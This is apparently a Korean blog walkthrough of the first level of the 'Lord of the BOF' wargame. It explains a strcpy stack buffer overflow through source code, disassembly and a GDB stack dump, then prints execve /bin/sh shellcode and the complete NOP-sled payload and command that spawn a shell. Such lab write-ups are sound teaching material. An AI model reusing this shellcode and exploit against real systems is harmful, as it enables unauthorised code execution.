-
lvl 01 gate -> gremlinWargame/HackerSchool The Load of the BOF Redhat 2019. 1. 10. 13:38
→ 소스코드는 아래와 같다.
1 /*
2 The Lord of the BOF : The Fellowship of the BOF
3 - gremlin
4 - simple BOF
5 */
6
7 int main(int argc, char *argv[])
8 {
9 char buffer[256];
10 if(argc < 2){
11 printf("argv error\n");
12 exit(0);
13 }
14 strcpy(buffer, argv[1]);
15 printf("%s\n", buffer);
16 }
→ 어셈블리 코드는 아래와 같다.
0x8048430
0x8048431
0x8048433
0x8048439
0x804843d
0x804843f
0x8048444
0x8048449
0x804844c
0x804844e
0x8048453
0x8048456
0x8048459
0x804845c
0x804845e
0x804845f
0x8048465
0x8048466
0x804846b
0x804846e
0x8048474
0x8048475
0x804847a
0x804847f
0x8048482
0x8048483
<main>
<main+1>
<main+3>
<main+9>
<main+13>
<main+15>
<main+20>
<main+25>
<main+28>
<main+30>
<main+35>
<main+38>
<main+41>
<main+44>
<main+46>
<main+47>
<main+53>
<main+54>
<main+59>
<main+62>
<main+68>
<main+69>
<main+74>
<main+79>
<main+82>
<main+83>
push %ebp
mov %ebp,%esp
sub %esp,0x100
cmp DWORD PTR [%ebp+8],1
jg 0x8048456 <main+38>
push 0x80484e0
call 0x8048350 <printf>
add %esp,4
push 0
call 0x8048360 <exit>
add %esp,4
mov %eax,DWORD PTR [%ebp+12]
add %eax,4
mov %edx,DWORD PTR [%eax]
push %edx
lea %eax,[%ebp-256]
push %eax
call 0x8048370 <strcpy>
add %esp,8
lea %eax,[%ebp-256]
push %eax
push 0x80484ec
call 0x8048350 <printf>
add %esp,8
leave
ret
→ 어셈블리 코드를 살펴보면 main+54 위치의 strcpy 함수가 존재한다. strcpy 함수가 실행된 후 스택의 구조는 아래와 같다.
char *strcpy(char *strDestination, const char *strSource);
(strDestination : 대상 문자열 , strSource : Null 종료 소스 문자열)
: strcpy 함수는 null 종료 문자를 포함하여 strSource를 strDestination에 지정된 위치로 복사합니다.
: strcpy는 strSource를 복사하기 전에 strDestination의 공간이 충분한지 확인하지 않으므로 버퍼 오버플로우 의 원인이 된다.
→ 메인함수 RET에 도달하기 위한 바이트 사이즈를 구하면 BUFFER(256바이트)+SFP(4바이트)이므로 총 260바이트이다. 즉, BUFFER 변수에 메모리가 쓰일 때 쉘 코드와 NOP로 채우고 RET 주소에 NOP 주소를 넣으면 쉘 코드를 실행할 수 있다. 해당 예제에선 구글에 검색되는 24바이트 크기의 쉘 코드를 사용했다.
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
→ 실제 스택의 주소를 찾기 위해 GDB를 실행 후, 다음과 같이 확인한다. 진행 결과 0xbffff8f8 ~ 0xbffff9f7쌓인 값이 BUFFER의 256바이트, 0xbffff9f8 ~ 0xbfffffb 쌓인 값이 SFP의 4바이트, 0xbffff9fc ~ 0xbffff9ff 쌓인 값이 RET의 4바이트이다.
[gate@localhost temp]$ gdb -q gremlin // gdb로 gremlin 실행
(gdb) set disassembly-flavor intel // 인텔계열 명령어 보기 설정
(gdb) disas main // 메인함수 디스어셈블
Dump of assembler code for function main:
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %ebp,%esp
0x8048433 <main+3>: sub %esp,0x100
0x8048439 <main+9>: cmp DWORD PTR [%ebp+8],1
0x804843d <main+13>: jg 0x8048456 <main+38>
0x804843f <main+15>: push 0x80484e0
0x8048444 <main+20>: call 0x8048350 <printf>
0x8048449 <main+25>: add %esp,4
0x804844c <main+28>: push 0
0x804844e <main+30>: call 0x8048360 <exit>
0x8048453 <main+35>: add %esp,4
0x8048456 <main+38>: mov %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>: add %eax,4
0x804845c <main+44>: mov %edx,DWORD PTR [%eax]
0x804845e <main+46>: push %edx
0x804845f <main+47>: lea %eax,[%ebp-256]
0x8048465 <main+53>: push %eax
0x8048466 <main+54>: call 0x8048370 <strcpy>
0x804846b <main+59>: add %esp,8
0x804846e <main+62>: lea %eax,[%ebp-256]
0x8048474 <main+68>: push %eax
0x8048475 <main+69>: push 0x80484ec
0x804847a <main+74>: call 0x8048350 <printf>
0x804847f <main+79>: add %esp,8
0x8048482 <main+82>: leave
0x8048483 <main+83>: ret
0x8048484 <main+84>: nop
0x8048485 <main+85>: nop
0x8048486 <main+86>: nop
0x8048487 <main+87>: nop
0x8048488 <main+88>: nop
0x8048489 <main+89>: nop
0x804848a <main+90>: nop
0x804848b <main+91>: nop
0x804848c <main+92>: nop
0x804848d <main+93>: nop
0x804848e <main+94>: nop
0x804848f <main+95>: nop
End of assembler dump.
(gdb) b *main+62 // main+62 주소에 브레이크포인트 설정
Breakpoint 1 at 0x804846e
(gdb) r $(python -c 'print "A"*256+"BBBB"+"CCCC"') // CCCC가 채워진 곳이 RET 자리
Starting program: /home/gate/temp/gremlin $(python -c 'print "A"*256+"BBBB"+"CCCC"')
Breakpoint 1, 0x804846e in main ()
(gdb) x/80wx $esp // esp로부터 80바이트 보기
0xbffff8f8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff908: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff918: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff928: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff938: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff948: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff958: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff968: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff978: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff988: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff998: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9a8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9b8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9c8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9d8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9e8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9f8: 0x42424242 0x43434343 0x00000000 0xbffffa44
0xbffffa08: 0xbffffa50 0x40013868 0x00000002 0x08048380
0xbffffa18: 0x00000000 0x080483a1 0x08048430 0x00000002
0xbffffa28: 0xbffffa44 0x080482e0 0x080484bc 0x4000ae60
(gdb)
→ 다음과 같은 공격 페이로드를 구성할 수 있다.
python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*136+"\xf8\xf8\xff\xbf"'
반환 주소를 BUFFER 변수 가장 처음 NOP 주소인 0xbffff8f8로 지정해서 NOP를 타고 쉘 코드가 실행되도록 페이로드를 구성한다.
→ 구성한 페이로드를 바탕으로 다음과 같이 공격한다.
./gremlin $(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*136+"\xf8\xf8\xff\xbf"')
→ 결과는 아래와 같다.
'Wargame > HackerSchool The Load of the BOF Redhat' 카테고리의 다른 글
lvl 06 wolfman -> darkelf (0) 2019.03.11 lvl 05 orc -> wolfman (0) 2019.03.11 lvl 04 goblin -> orc (0) 2019.03.08 lvl 03 cobolt -> goblin (0) 2019.01.22 lvl 02 gremlin -> cobolt (0) 2019.01.13 댓글